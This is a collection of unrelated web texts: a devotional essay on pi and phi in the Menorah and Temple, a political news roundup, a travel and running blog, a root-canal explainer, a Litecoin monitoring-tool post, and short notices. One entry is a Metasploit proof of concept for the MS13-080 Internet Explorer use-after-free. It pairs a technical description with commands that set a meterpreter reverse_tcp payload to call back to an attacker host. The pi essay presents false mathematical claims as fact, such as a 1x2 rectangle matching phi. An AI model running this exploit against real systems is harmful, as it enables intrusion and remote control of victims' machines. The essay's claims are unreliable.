"It will be perceived that each section of the semicircles of which these lines are the radii is composed of two members: the shank (a plain tube) and the bulb (or swell), and that each has a third part or base (a circular double flange, as a means of connection, hence an actual joint) only where it is united to a different kind of piece; i.e., at the bottom and top of the central shaft and of the six arms, including the intersections of the shaft with the arms."5 [emphasis mine]
Figure 6. The Hebrew Menorah 6
When we apply what we have already seen in the Biblical teaching of the Sun's dual symbolism, to the Menorah, it takes on a new light, associating the Sun not only with the solar system, but also the circular zodiac. The Menorah structure shows its central shaft as the foundation of the candle, since it holds the main light as the candle centerpiece. All the branches of the candlestick are attached to the central shaft, even as they obtain their light from the main candle. This pattern is mirrored in the solar system as the planets and moons do not generate their own light, but reflect the light of the Sun, as they orbit around it. We find not only the solar system order reflected here but also that of the ecliptic with 12 Constellations. This is evident in the Menorah's semi-circular pattern based on pi. By expanding on Strong's analysis of the Menorah this comes to light. In Strong's smaller geometric model of the Menorah, we note bulbs on the six branches of the candlestick that are projections of the central bulb, where all the radiating geometric lines of the central light emanate. These projections of the central light on the six branches, (five naked eye planets and the Moon) depict how these luminaries reflect the Sun's light in their individual orbits upon the Earth. This system reflects the temporal periods and orbits of each planet in our solar system, in relation to the Sun's light. This is revealed first in the context of the mathematics of the base 60 standard, a primary trait of the Creator's celestial order. Strong's emphasis above on the geometric design of the Menorah, exhibits the Hebrew zodiac as in Genesis 49, with Jacob's prophesies over his twelve sons. We should see that these lines noted by Strong as "the radii of the semi-circle," reflecting the symbolic light of the world, if extended into a complete circle, the radii would divide it into 12 equal parts of 360 degrees of the circle according to pi. We can be safe in making this conceptual leap in the implied design of the Menorah, because we have just seen this pattern in the Temple pillars: Jachin and Boaz. This marks the Menorah as a complete symbolic piece of furniture in the Temple and Tabernacle, acting as a celestial symbol of the structure of both our solar system and the zodiac. It is complete because it is the third aspect we have observed utilizing pi measures, following on the great Brazen Sea and the Temple pillars. These aspects of The Celestial Symbolism of the Temple and Tabernacle; [read more] utilize pi to depict the Hebrew Calendar of 12 months of 30 days in the sacred 360-day year utilized by Noah. But the Menorah goes beyond this, embracing the planets in a heliocentric model of the ancient solar system, long before the Greek Aristarchus of Samos proposed it in the second century BC. The Menorah's [read more] implicit use of the pi ratio incorporates the previous usage of this principle in the Brasen Sea and the Temple pillars, while adding the symbolism of the heliocentric solar system to these previous applications, all incorporated into a single model. According to conventional history, the idea of a heliocentric "universe" or solar system, originated with the ancient Greeks, specifically Aristarchus of Samos as mentioned above. This idea however, did not catch on in a big way until Copernicus, who while reviewing some of Aristarchus' ideas seized upon this concept and ran with it. He did this at his own peril due to the prevailing worldview of the time, especially that of the Roman Catholic Church, based on a geocentric view of the solar system espoused by Ptolemy, which held sway in intellectual and religious circles for over 1500 years. In the Figure 7. graphic below from Harmonica Macrocosmica [A. Cellarius, Amsterdam 1660] depicts a Sun-centered Copernican view of the cosmos.
Figure 7. Heliocentric Solar System 7
This aspect of pi as it applies to Biblical cosmology will show the idea of a heliocentric "universe" predating the 2nd Century BC and Aristarchus, by at least 1300 years, and its genuine roots are found in the Old Testament Scriptures. Our present tour through the Hebrew Taberncale/Temple not only reveals this, but even deeper truths as the Menorah's complete symbolic nature is revealed, leading to the holiest of all with the Ark of the Covenant, and the Holy Names of God. The pi ratio in I Kings 7, should also be considered with any practical application of pi in King Solomon's day. On this subject there is information concerning a practical approximation of pi in the ancient world, based on septenary units of measure. In some ancient traditions, the relation of the Diameter to the Circumference, embodied in pi, symbolized the names of God; Elohim and Jehovah. With Elohim, the Creator representing the Circumference, of the curved line – the totality of His Creation, and in Jehovah, the straight line Diameter, or God in relationship to His Creation, thus pi embodies some geometrical expressions of the Almighty. We find the basic elements of the concept of "squaring the circle" in the Circle's diameter inscribed in the circumference of a surrounding Sphere inside a Cube, in I Kings 7:30 above, contained in the square base containing the circular brasen sea. This principle has survived through the centuries in the domed sacred architecture of many temples and churches, where the circular dome is surrounded by a square building. We should take note that the Holy of the holies, containing the Ark of the Covenant, was a perfect cube, contained within a double-square ground-plan of the Hebrew Tabernacle. This provided the divine foundation of many practices in the "sacred geometry" of the secular world. The practical approximation of pi in the ancient world of sacred architecture, has preserved this concept of the Creator God in relation to His Creation, in a systematic application of principles of sacred geometry, based on septenary units of measure. According to Stechini, in this system the; "circumference was considered 22/7 of the diameter; this approximation of pi rendered (3 1/7, or 3.142857) is still in use today as an adequate approximation in many problems of engineering." 8 As Beckmann points out, "Archimedes started with a hexagon and progressively doubling the number of sides he arrived at a polygon of 96 sides, which yielded pi as 3 1/7, or 3.142857." 9
The importance of relating pi to septenary units is obvious in a Biblical light when we consider God's abundant use of the number 7 in His ordering of Creation, including the Menorah. Some of this evidence is covered in our website essay on the Calendar of the Israel, [read more]. This ratio of 22/7 is also intriguing because it expresses the ratio between the 22 letters of the Hebrew alphabet, in relation to its seven vowels. This is a supporting factor in the idea that the roots of writing and the first alphabet originate in the Celestial Gospel. As the first "written" revelation to mankind, the stars in this gospel were named and numbered by God [Ps. 147:4]. The divine message of the coming redeemer and the means God chose to deliver it, thus provide the sacred foundation of all language and mathematics. As the divine original source of this wisdom, the witness of the stars was above reproach. The pi ratio expressed as 22/7, reflects this perfection of the celestial gospel, in at least the mathematical, geometrical and linguistic contexts. Let's now consider a final point linked with septenary measuring units. This note from Keil and Delitzsch' Commentary on I Kings 7:23 below, adds support to the application of pi relating to septenary units as seen in the brazen sea above, [3.142857] and the ancient knowledge of its use in Israel, via revelation from God, in the dimensions of the Tabernacle, Temple and its sacred furniture. "The brazen sea (cf. 2Ch. 4:2-5). – "He made the molten sea – a water-basin called יָם (mare) on account of its size – ten cubits from the one upper rim to the other," i.e., in diameter measured from the upper rim to the one opposite to it, "rounded all round, and five cubits its (external) height, and a line of thirty cubits encircled it round about," i.e., it was thirty cubits in circumference. The Chethib קוה is to be read קָוֶה here and in Zech. 1:16 and Jer. 31:39, for which the Keri has קָו in all these passages. קָוֶה or קָו means a line for measuring, which is expressed in 1Ki. 7:15 by חוּט. The relation of the diameter to the circumference is expressed in whole numbers which come very near to the mathematical proportions. The more exact proportions would be as 7 to 22, or 113 to 355."10 [emphasis mine]
Figure 8. The Ark of the Covenant
The septenary relation to pi uncovers the link between the pi and phi ratios, through the popular Fibonacci Series. This is interesting when we consider that the dimensions of Ark of the Covenant conform to the phi standard, in the holiest of all. Since the lid or "mercy seat" of the Ark represents the Creator's Throne, we not only find the geometric application of the Names of God: Jehovah/Elohim in practice by the Nation of Israel, as they worship the Almighty according to the tenets of Scripture, but the measures of the Ark are based on a 1×2 rectangle [Ex. 25:10] that perfectly conforms the phi ratio as seen in the Coffer of the Kings Chamber in the Great Pyramid. This link between phi and pi makes it possible to obtain pi without the need for measuring! This is illustrated in the following quote from Livio Stechini: "It is possible to use the Fibonacci Series to obtain an accurate relation for the diameter of the circle to its circumference, without recourse to pi. In the Fibonnacci series of 21, 34, 55, if 21 is taken as the diameter of a circle, its circumference will be 55 x 6/5 = 66, accurate to the one thousandth part, giving the Great Pyramid value of pi as 22/7 = 3.142857. Higher numbers in the fibonacci series provide increasingly finer values in whole numbers accurate to one ten-thousandth part. Prolonging the series to 80, 144, 233, 377, 610… a diameter of 144 (4 x 576) gives a circumference of 377 x 6/5 or a pi value of 3.1415. A diameter of 233= a circumference of 610 x 6/5 or a pi value of 3.1416…"11
Since the phi principle inherent in the Fibonacci Series is the basis of the precepts of geometric growth life throughout the plant and animal kingdoms of life evident in the Creator's Four Kingdoms of Life, [read more] this principle of mathematics is elevated above that of pi. As the Creator and ultimate Source of Life, the Almighty has led us on this path of spiritual discovery paved with the principles of geometric and mathematical truth revealed in God's Word. This is the geometric progression we have just witnessed in our pi journey through the Tabernacle/ Temple of Israel, on this day memorializing Pi.
1. Strong's Concordance, James Strong, notes on [H6957]
2. Secrets of the Great Pyramid, Peter Thompkins, p. 263
3. IBID p. 16.
5. The Tabernacle of Israel, James Strong
6. IBID [picture credit]
7. Harmonica Macrocosmica, Amsterdam, 1660
8. Secrets of the Great Pyramid, Peter Thompkins,
9. A History of Pi, Petr Beckmann. p. 64
10. KEIL & DELITSCH Commentary on I Kings 7:23.
11. Secrets of the Great Pyramid, Peter Thompkins, p. 97 fn


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House of Commons
Session 2010-12
Publications on the internet
The Register of Members' Financial Interests: Part 1
As at 29th November 2011
LLOYD, Stephen (Eastbourne)
2. Remunerated employment, office, profession etc
Speaking engagements for Centre for Parliamentary Studies, 14 Great College Street, London SW1P 3RX. Received on 6 July, two payments of £200 for speaking at events on 22 March 2011 and 28 June 2011, both paid direct to charity. Hours: 35 mins each.(Registered 27 July 2011.)


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The Morning Flap: February 22, 2013
Sequestration from Wall Street Journal
These are my news headlines for February 21st through February 22nd:
- With Axelrod At NBC News, The Marriage Of Media And Politics Becomes Complete – What's more, Team Obama has declared it has no intention of dismantling its campaign apparatus post re-election. Put Axelrod in the catbird seat at a news outlet and the "narrative" continues. Combine that with Team Obama's masterful manipulation of journalists, its command of social media, and an ugly picture emerges of a press indistinguishable from the political establishment.This has happened in banana republics, but never in a Western democracy. Already it's making old-school journalists who value news gathering over politics, such as the New York Times' Roger Cohen, ABC's Ann Compton and the Washington Post's David Ignatius, uncomfortable. The one thing that will stop it is a press that won't cooperate. So where is that press?
- Budget hawks question Pentagon's doomsday scenarios – But perhaps the biggest example of the Washington Monument maneuver is coming from the Defense Department, where it goes by another name. Over many decades of defense budget battles, the Pentagon has often used a tactic known as a "gold watch." It means to answer a budget cut proposal by selecting for elimination a program so important and valued — a gold watch — that Pentagon chiefs know political leaders will restore funding rather than go through with the cut.So now, with sequestration approaching, the Pentagon has announced that the possibility of budget cuts has forced the Navy to delay deployment of the carrier USS Harry S. Truman to the Persian Gulf. With tensions with Iran as high as they've ever been, that would leave the U.S. with just one carrier, instead of the preferred two, in that deeply troubled region.
- What Unites Obama's Coalition — and What Could Divide It – Overall, the survey put Obama's approval rating at 51 percent — almost exactly replicating his share of the vote last November. For all of his key groups, his approval ratings today remain close to his vote shares against Republican Mitt Romney. The survey put his approval among African-Americans at 91 percent (compared to his vote of 93 percent in November), among Hispanics at 68 percent (compared to 71 percent in November), college-educated white women at 48 percent (compared to 46 percent), and adults ages 18 to 29 at 57 percent (compared to 60 percent). Considering that several percent of those in each group described themselves as undecided on Obama's performance, those numbers suggest almost no change from his support in the election.
- Can Democrats Mess With Texas in 2016? – Can Democrats Mess With Texas in 2016? #tcot
- Noonan: Government by Freakout – The president's sequester strategy is like Howard Beale in "Network": "Woe is us. . . . And woe is us! We're in a lot of trouble!"It is always cliffs, ceilings and looming catastrophes with Barack Obama. It is always government by freakout.
That's what's happening now with the daily sequester warnings. Seven hundred thousand children will be dropped from Head Start. Six hundred thousand women and children will be dropped from aid programs. Meat won't be inspected. Seven thousand TSA workers will be laid off, customs workers too, and air traffic controllers. Lines at airports will be impossible. The Navy will slow down the building of an aircraft carrier. Troop readiness will be disrupted, weapons programs slowed or stalled, civilian contractors stiffed, uniformed first responders cut back. Our nuclear deterrent will be indefinitely suspended. Ha, made that one up, but give them time.Mr. Obama has finally hit on his own version of national unity: Everyone get scared together. - Is President Obama overplaying sequestration hand? – President Barack Obama's greatest adversary in the latest budget battle isn't the Republican leadership in Congress — it's his confidence in his own ability to force a win.He has been so certain of his campaign skills that he didn't open a line of communication with House Speaker John Boehner and Senate Minority Leader Mitch McConnell until Thursday, a week before the spending ax hits. And when they did finally hear from Obama, the calls were perfunctory, with no request to step up negotiations or invitations to the White House.
- Why Obama and Rove Should Sit Down and Keep Quiet
- Fewer Americans Getting Health Insurance From Employer – Fewer Americans reported having employer-based health insurance in 2012 than did in 2008, 2009, and 2010, but at 44.5% it is unchanged from 2011. At the same time, more Americans continue to report having a government-based health plan — Medicare, Medicaid, or military or veterans' benefits — with the 25.6% who did so in 2012 up from 23.4% in 2008.
- H.R. 6684: Spending Reduction Act of 2012 – Legislative Digest – GOP.gov – RT @robertcostaNRO Text: the GOP's sequester replacement, which was passed in Dec. 2012
- Flap's Blog @ Flap Twitter Daily Digest for 2013-02-21 – Flap's Blog – FullosseousFlap's Dental Blog – Flap's Blog @ Flap Twitter Daily Digest for 2013-02-21 #tcot
- Mark Levin schools Charles Krauthammer on why it's not "honorable" for governors to expand Medicaid » The Right Scoop – – RT @trscoop: Mark Levin schools Charles Krauthammer on why it's not "honorable" for governors to expand Medicaid
- A Tax By Another Name – Writing in the New York Times yesterday, Yuval Levin made the case for means-testing Social Security and Medicare. As you'd expect from Yuval the case is well made and elegantly thought-through. It's also, if I may respectfully say so, misguided. Partly as a consequence of the refusal to make consumption take its fair share of the tax load, the US already taxes income on a pretty progressive basis (even more so, I suspect, if, just for the sake of argument, you excluded the very richest from the equation—highly taxed wage income generally makes up a lower percentage of their total take). Means-testing these two programs would only tighten the screws still further.
- Capitol Alert: Kristin Olsen to move to smaller office after failed GOP move – Kristin Olsen to move to smaller office after failed GOP move
- Charles Krauthammer: Immigration — the lesser of two evils – The president suggested he would hold off introducing his own immigration bill as long as bipartisan Senate negotiations were proceeding apace — until his own immigration bill mysteriously leaked precisely as bipartisan Senate negotiations were proceeding apace.A naked political maneuver and a blunt warning to Republicans: Finish that immigration deal in Congress, or I'll propose something I know you can't accept — and flog the issue mercilessly next year to win back the House.
- The 60th vote: Republican Richard Shelby to vote for cloture on Hagel; Update: Deb Fischer too? « Hot Air – Looks like Chuck Hagel is the next Sec Defense. Let the sequestration begin:
- 6 Questions for the Immigration Reformers – From border security to H1-B visas, much needs to be answered in the looming immigration debate.
- Obama reaches out to Boehner, McConnell as sequester cuts loom – The Hill – Obama symbolism over substance: #tcot
- DIGITAL 50: The Hottest People In Online Politics – Business Insider – DIGITAL 50: The Hottest People In Online Politics – Business Insider #tcot
- Flap's Dentistry Blog: Dentist Acquitted and Wins $7.7 Million Judgment in New York Medicaid Fraud Case – Dentist Acquitted and Wins $7.7 Million Judgment in New York Medicaid Fraud Case
- Flap's Dentistry Blog: Chicago's Dental Health Safety Net on Verge of Collapse? – Chicago's Dental Health Safety Net on Verge of Collapse?
- Ed Markey: Dred Scott = Citizen's United – Flap's Blog – Ed Markey: Dred Scott = Citizen's United #tcot
- 'The Great Sequester Panic' – 'The Great Sequester Panic' #tcot
- The Benefits of Exercising Outdoors – NYTimes.com – The Benefits of Exercising Outdoors #tcot
- Smoking cessation in old age: Less heart attacks and strokes within five years – Smoking cessation in old age: Less heart attacks and strokes within five years #tcot
- Study disputes long-term medical savings from bariatric surgery – latimes.com – Study disputes long-term medical savings from bariatric surgery #tcot
- Harry Reid says he'll run for re-election in 2016; won't comment on Sandoval as opponent – Senate Majority Leader Harry Reid told the capital press corps at the Nevada Legislature Wednesday night that he will seek re-election in 2016.The news conference came after he gave a speech to state lawmakers, like Reid does every legislative session.When asked if he would run for re-election, Reid said, "Sure, why not?"
When asked if he thought Republican Gov. Brian Sandoval would run against him, Reid said, "Oh, I don't know."
When asked if he could beat Sandoval, Reid said, "Hey, I don't get involved in fights I don't have to."
When reminded that he was a boxer in his youth, Reid replied, "But I'm not stupid."
- 15 GOP senators call for Hagel to withdraw – POLITICO.com – RT @politico: 15 GOP senators call for Hagel to withdraw:


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My very talented friend, Deb Pero of New Hampshire, has a new website displaying her artwork. To demonstrate how talented and give a taste of her work, I've posted two of my favorites above. Be sure to check out the Portfolio of Works, especially the Colorado landscapes (that is, Hardrock 100 scenes), landscapes, and a painting a day. Oh, dang it--just click on all of them! You might just see a work from a recent race. She's also just started a blog. Deb is one of THE most mentally tough people I know and an all around super person.
Tuesday, January 29, 2008
My very talented friend, Deb Pero of New Hampshire, has a new website displaying her artwork. To demonstrate how talented and give a taste of her work, I've posted two of my favorites above. Be sure to check out the Portfolio of Works, especially the Colorado landscapes (that is, Hardrock 100 scenes), landscapes, and a painting a day. Oh, dang it--just click on all of them! You might just see a work from a recent race. She's also just started a blog. Deb is one of THE most mentally tough people I know and an all around super person.
Thursday, January 24, 2008
In the Land of Sun
Levitating in Arch Canyon. :-) We climbed way above the arches.
Chris had a business trip to Phoenix this week, so we left CA last Thursday and made a week-long road trip out of it. After visiting his dear friend Jeanne in Santa Monica and dining at a groovy raw foods restaurant (yep, we WERE in Santa Monica!), we bagged a whopping 3 miler, Monument Peak, in southern Joshua Tree National Park before heading further eastward to Blythe and Quartzite.
If you like road trippin', I highly recommend you put Quartzite on your list of Jan-Feb destinations. Home of possibly the largest gem-and-mineral show in the country, Quartzite attracts rock hounds and RV'ing snowbirds by the thousands, vendor stalls sprouting by the dozens with kind of a county fair flavor. We didn't have time to see it all, barely scratched the surface actually, because we wanted to make it to Organ Pipe Cactus National Monument for the night.
After a LONG drive across southwestern AZ with a quick stop at the Cabeza Prieta Wildlife Refuge headquarters in Ajo (Cabeza Prieta, incidentally, is the final resting place of Ed Abbey and a destination added to my "Places to explore in more depth someday" list) we made it to Organ Pipe in time for me to get in a short run before nightfall. With the campground only about 5 miles from the Mexican border, the presence of many, many border patrol vehicles, and especially after coming across some empty water bottles, torn jeans, and a pair of boots (did the person continue BAREFOOTED??), all most likely jettisoned by an illegal, I spent the majority of the run pondering the plight of illegal immigrants, at the same time realizing how fortunate I am to have been born here and how much we Americans sometimes take for granted. The Monument was splendid, with more kinds of cacti than I'd ever seen before, including of course, the ubiquitous organ pipe variety, pictured above. We were told that the best time to visit, however, is when the spring flowers erupt in April.
After a rugged and scrambly hike in Arch Canyon (two arches!), we headed north through the outpost of Why (yep, that's the name of a town) and through the Tahono-O'odham Indian Reservation, a vast, sparsely populated, desolate yet fascinating section of desert that seemed more akin to a hawk sanctuary -- literally dozens were sighted! Ignorant of the fact that Florence, AZ, is home to reputedly 17 (!) prisons, we somehow ended up there Sunday night but had some great Mexican and margaritas.
We finally arrived at the hotel in downtown Phoenix after a nice hike up Peralta Canyon in the Superstition Mountains just east of the city. Hotel guests are allowed to use the adjacent fitness center, so I was able to get in my upper body weight work and two yoga classes this week. Oh boy! I also hit the trails every day, climbing Camelback and Piestewa Peaks right in the city--how cool is that?!--and a nice 20 miler out in McDowell Mtn. Park, home of the Javelina Jundred and the Pemberton Trail 50k. (My body reminded me that I hadn't done any long runs for a few weeks...)
Back to CA tomorrow.
Tuesday, January 15, 2008
Hopefully with a little more rain the vegetation will look like this in a month or so. (Photo of Serrano Valley & "Buttcrack Rock" in Pt. Mugu SP, where I run a bunch, with the ocean in background.)
While the weather is fabulous and I'd rather be outside, we decided to join the YMCA recently for a few reasons: I sorely missed doing structured yoga, my upper body is pitifully weak, and Chris likes to swim. Throw in spinning--now apparently called "Cycle Reebok"--classes for a change of pace, and no initiation fee, and we were an easy sell. After four sessions--that is, spinning class, weight work, and yoga on M-W-F (3.5 hours total!)--I can already notice an effect. Basically I wake up in spinning class. It is held at 6 a.m. and I am NOT a morning person! The instructor is about my age and has a penchant for 80s rock, the tunes I used to party to in another life--happy memories those are! It's a great "cardio" (gym lingo) workout, and I sweat like crazy. Then it's off to the weight room, where senior citizens humble me (I really am pathetic). Finally, my favorite, the reward--YOGA. I love it. My goal is, when we're in town, to keep up this routine until departing for Alaska in mid May. More on that later...
Tuesday, January 8, 2008
It does rain--and snow--in SoCal
Thursday, January 3, 2008
Trailrunner article
The photographer, Brian S., took a bunch of photos on the Ray Miller Trail here in the Santa Monica Mountains. It was very strange to "pose" for running shots! (He gave permission to use his photos on my blog.)
Tuesday, January 1, 2008
Happy New Year
We ended up in Las Vegas the evening of 12/24 and decided to spend the night in a real bed after car camping in the Element the previous couple of nights - definitely my weirdest Christmas venue ever, but what a hoot to walk the Strip with those of "heathenish tendencies" on Christmas Eve! :p Christmas Day we journeyed to Valley of Fire to gawk at the rocks and petroglyphs. I risked minor injury to get this photo; obviously this artwork was done before boulders fell to partially obscure "Batwoman."
In Zion I had to do Angel's Landing again, a bit of ice adding to the adrenaline rush. We also had an extra special hike to Court of the Patriarchs and to Observation Point...
As we were leaving the Park, we spotted about a dozen very healthy appearing bighorn sheep who allowed us multiple photographs before becoming bored with the silly humans.
Oodles of amazing 3000+ year-old petroglyphs.
One of the 10 charcoal kilns at Death Valley's Wildrose Peak trailhead. Although they haven't been used since the late 19th century, they still smelled of smoke. We hiked only a couple of miles up the trail to stretch our legs but will be back in the spring to climb the peak (Telescope too!)
Weird stuff in the desert. This is near the ghost town of Rhyolite which we visited just before driving through the spectacular Titus Canyon.
More art...


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Root Canal Treatment
Your teeth are meant to last a lifetime. Years ago, diseased or injured teeth often were pulled. But today, even if the pulp inside one of your teeth is injured or infected, the tooth often can be saved through root canal (endodontic) treatment. Endodontics (end-o-DON-tics) is the branch of dentistry that deals with treating diseases or injuries to the dental pulp. An endodontist is a dentist who specializes in root canal and other endodontic treatments.
What happens if the dental pulp is injured?
The pulp is soft tissue inside the tooth that contains blood vessels and nerves. When the pulp is diseased or injured and unable to repair itself, it dies. The most common causes of pulp death are a cracked tooth, a deep cavity, problems with large fillings, or serious injury to the tooth. All of these can allow bacteria to enter into the pulp.
Why should the pulp be removed?
If the problem pulp is not removed, the tissues around the root of the tooth can become infected, often resulting in pain and swelling. Even if there is no pain, bacteria can damage the bone that anchors the tooth in the jaw. Without treatment, the tooth may have to be pulled.
Removing a tooth can create problems
When a tooth is pulled and not replaced, the teeth around it may shift from their normal position. Shifted teeth may make biting and chewing difficult and may make it harder to clean your teeth. They may also make it harder to clean your teeth. Areas that are not cleaned well are more likely to get gum disease.
Root canal treatment can prevent these problems by saving your natural tooth. A natural tooth is almost always better than a replacement tooth. Nothing looks, feels or functions like the natural tooth–and being able to chew and enjoy your favorite foods will keep you healthy and confident. Also, a root canal is usually less expensive than a replacement tooth.
What does treatment involve?
Root canal treatment involves one or more visits. There are several steps that your dentist or endodontist will perform to save your tooth:
• First, your tooth is numbed for your comfort. The dentist will put a thin sheet of latex rubber over your tooth to keep the tooth dry. An opening is made through the crown of the tooth into the pulp chamber.
• The tooth's nerve or pulp is then removed from both the inside of tooth (pulp chamber) and the root canal (the space inside the root). Each root canal is cleaned and shaped so it can be filled.
• Medicine may be placed in the pulp chamber and root canal to help get rid of bacteria.
• A temporary filling will be placed in the opening of the tooth to stop saliva from getting into the chamber and root canals. You might also be given antibiotics if infection has spread beyond the end of the root(s). If your dentist prescribes medicine, use it only as directed. If you have any problems with the medicine, call your dentist.
• During the next stage of treatment, the temporary filling is removed. The root canals are usually filled with a rubber-like material to seal them.
• In the final step, the tooth may be restored by a crown or a filling to strengthen it and improve the way it looks. If an endodontist performs the root canal treatment, he or she will usually recommend that you return to your general dentist for this step.
It is very important to follow your dentist's directions in setting up your appointments so your root canal treatment is successful.
Tooth decay can cause an abscessed (infected) tooth.
The decay is removed and an opening is made into the pulp chamber.
The pulp and nerve are removed, and the root canals inside the tooth are cleaned and shaped.
The root canals and pulp chamber are filled.
A metal or plastic rod or post may be placed in the root canal to support the crown.
The crown of the tooth is then restored.
What materials are used for the crown?
Crowns can be made from several materials. The type chosen depends on where the tooth is located in your mouth, the amount of natural tooth left, your preferences and your dentist's judgment about what is best for you.
How long will the restored tooth last?
A tooth with a root canal filling can last for years. Teeth with root canal fillings can, however, become decayed or fractured, or get gum disease, just like any other teeth. Daily cleaning and regular exams will help you keep your teeth healthy, whether they've had root canals or not.
Other articles in this section:
Tooth Replacement Options
Dental Implants
Root Canal Treatment


text:
Timeline :
Vulnerability discovered exploited in the wild the 2013-09
Patched by the vendor via MS13-080 the 2013-10-08
Metasploit PoC provided the 2013-10-12
PoC provided by :
Reference(s) :
Affected version(s) :
Internet Explorer 6, 7, 8, 9, 10 and 11.
Tested on :
with Internet Explorer 8 on Windows XP SP3
Description :
This module exploits a vulnerability found in Microsoft Internet Explorer. It was originally found being exploited in the wild targeting Japanese and Korean IE8 users on Windows XP, around the same time frame as CVE-2013-3893, except this was kept out of the public eye by multiple research companies and the vendor until the October patch release. This issue is a use-after-free vulnerability in CDisplayPointer via the use of a "onpropertychange" event handler. To set up the appropriate buggy conditions, we first craft the DOM tree in a specific order, where a CBlockElement comes after the CTextArea element. If we use a select() function for the CTextArea element, two important things will happen: a CDisplayPointer object will be created for CTextArea, and it will also trigger another event called "onselect". The "onselect" event will allow us to set up for the actual event handler we want to abuse – the "onpropertychange" event. Since the CBlockElement is a child of CTextArea, if we do a node swap of CBlockElement in "onselect", this will trigger "onpropertychange". During "onpropertychange" event handling, a free of the CDisplayPointer object can be forced by using an "Unslect" (other approaches also apply), but a reference of this freed memory will still be kept by CDoc::ScrollPointerIntoView, specifically after the CDoc::GetLineInfo call, because it is still trying to use that to update CDisplayPointer's position. When this invalid reference arrives in QIClassID, a crash finally occurs due to accessing the freed memory. By controlling this freed memory, it is possible to achieve arbitrary code execution under the context of the user.
Commands :
use exploit/windows/browser/ms13_080_cdisplaypointer set RHOST 192.168.6.143 set PAYLOAD windows/meterpreter/reverse_tcp set LHOST 192.168.6.138 exploit getuid sysinfo


text:
Posts tagged LTC
New Version Of Litecoin Miner Status Released
Today I released a new version of my popular Litecoin Miner Status program. The tool sits in the background of your computer and monitors various litecoin mining pools for your mining activity. The program does not do any mining of it's own, it simply watches the pools that you mine at to provide you with statistics about how well your miners, and your profits are doing. You can go directly to the application page Here or by the Discography -> Litecoin Miner Status link at the top of this page.
Lots of changes & tweaks have gone into the new program, including the addition of new pools to monitor. If you mine LTC and wish to keep track of your mining rigs or your coins, give the program a try.
New Tool In Development – Litecoin Miner Status – Monitor Multiple Litecoin Miners At Multiple Pools!
0Project Update |
This project has now been officially released. You can visit the project page (and download the tool) Here or get to it throught Discography tab at the top of the page. Thanks! |
I have been working on a new tool for the last couple of weeks to assist Litecoin miners in their quest of mining. As a Litecoin miner myself in this new coin, a few pools started to pop up here and there and there was not much of a way to track what was going on. Hence my tool came along!
A common thing with any coin mining process is hopping, or switching from one pool to another. With my tool, you can see what you are doing across multiple pools, including how much LTC you have mined and how much you have been paid.
The interface is split into 3 main portions. The top part is a "ticker" of sorts that pages through the supported mining pools, showing you the current overall stats of that individual pool such as it's overall mining speed, and the number of individual miners currently working there (and their combined KH/s speed). The middle field view shows the miners you have listed in that specific pool (If any) and what your miners are currently doing there. The base view is an overall view of your current mining summary across all of the supported pools. The tool is quick, easy to use, and sits quietly in the background keeping itself updated.
The tool is currently going through the last few days worth of testing with some close friends and miners, and I hope to have it released in the next couple of weeks once all the fine tuning has been done to it. If you are interested in testing out the tool, feel free to get in touch with me at andy [at] andykellett.com with your information. You can also find me on IRC , irc.freenode.net in #elitist, #litecoin and #rfcpool
Support For Many Pools!
At the time of the release, or unless someone suggests otherwise, the following mining pools will be supported from the initial launch of the application:
- Elitist Jerks
- Pool-X.eu
- OzCoin
Additional Mining Pools
If you own/run/reccomend another litecoin mining pool that you would like to see added to this program, let me know either by email or in the comments of this post and I will see what I can do to get it in. Your pool must support JSON statistics that can easily be accessed via the web. The tool supports all mmcfe-based pools, I just need to know your details.
The Program Is Beerware!
The program itself will be released as BeerWare, meaning if you like it and you find it extremely handy, you should donate some coin towards a beer or two for the developer! Pool owners who want their pools listed within the app are encouraged to donate a couple of extra beers as well, especially if your pool requires a lot of work to get added (custom JSON etc.) There will not be a charge to buy the program ever, and anyone who does try to sell it for money are trying to rip people off. It will always work the same if you choose to donate or not. Donation addresses to send coin to will be in the About section of the program in various different formats. All donations are truly appreciated 🙂
Donation Addresses
Some people are already asking for donation addresses to bribe with, they are as follows:
LiteCoin: LfrxgdK1PgJQPRkPVDqopQt3FaYVswmp74
BitCoin: 15s2vduLZSBUYDHPANgXVC9DPKz6BesZLj
More details will be released for the program as soon as they are available. Versions will also be made available for Mac & Linux in time. Feel free to comment or ask any questions in the comments section on this post. Initial testing only available to Windows users. Thanks! FishGuy876


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Update! Complete TC Edition & More
I may be cutting it quite close, but as mentioned back in April, I have managed to complete the DSS TC Edition! All Scriptural Books found among the Dead Sea Scrolls will now have their TC Editions online, both as separate books, and also in one giant TC Edition PDF File. Included in this Full publication are a small Preface, along with an Appendix regarding the text of Isaiah 61:1-2.
See the Downloads Page for the files to download/view 🙂
As with all TC Edition's that have been completed, I end up updating most of the relevant Dead Sea Scrolls Transcriptions along with them. I did keep a 'sort-of' list, so may be worth re-downloading any document you've already had.
The list that I kept was as such:
4QpaleoDeutr; 1QDeuta; 4QDeutk2; 4QLevb; 4QLevd; 11QLevb; MasLevb; 1QIsaa; 1QIsab; 4QIsaa; 4QIsab; 4QIsac; 4QIsad; 4QIsae; 4QIsaf; 4QIsag; 4QIsah; 4QIsak; 4QIsal; 2QJer; Leviticus Parallel; Deuteronomy Parallel; Isaiah Parallel.
There is now very little I can do to assist in everyone's DSS studies. Bar the occasional manuscript that appears once every decade or so, all of them are on TWTY for people to use for their studies!
I will be releasing them in other formats in the future (Bibleworks, E-Sword, even possible The Word), but these will be sporadic and won't be coming forth any time soon.
I'll also be taking a little break for at least up until the end of January. Then I will commence completing all the other projects I've already started (namely the Ancient Greek Papyri transcriptions & translations, as well as versions 2 and 3 of the Renewed Covenant Translation).
I have also removed a section from TWTY – and that is the Greek-English Interlinears section. I have come to understand that Interlinears don't help – they rather hinder study, and make people think that they are translating when using an Interlinear to "assist". They're not; they're mainly producing drivel. As such, I will not be producing any interlinear – ever. Plain parallel versions are fine though, so will be keeping those projects alive.
Anyway, apologies for waffling on. I shall stop 🙂
Hope everyone has an enjoyable new year, and I shall be posting again in 2017!


text:
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Fulfil your deeply held beauty wishes in the best beauty parlours in Pathanamthitta
If you are looking for ways to rejuvenate yourself from the stresses and strain of daily life, there's good news. The professional men and women beauty parlours in Pathanamthitta offer personalised beauty treatments that will help you help you fulfil your beauty whims and wishes. These modern beauty parlours offers you a great range of services including manicure and pedicure, variety of facials, eyebrow threading, eyelash tinting, hairstyling, skincare treatment and others to keep your body look beautiful and healthy.
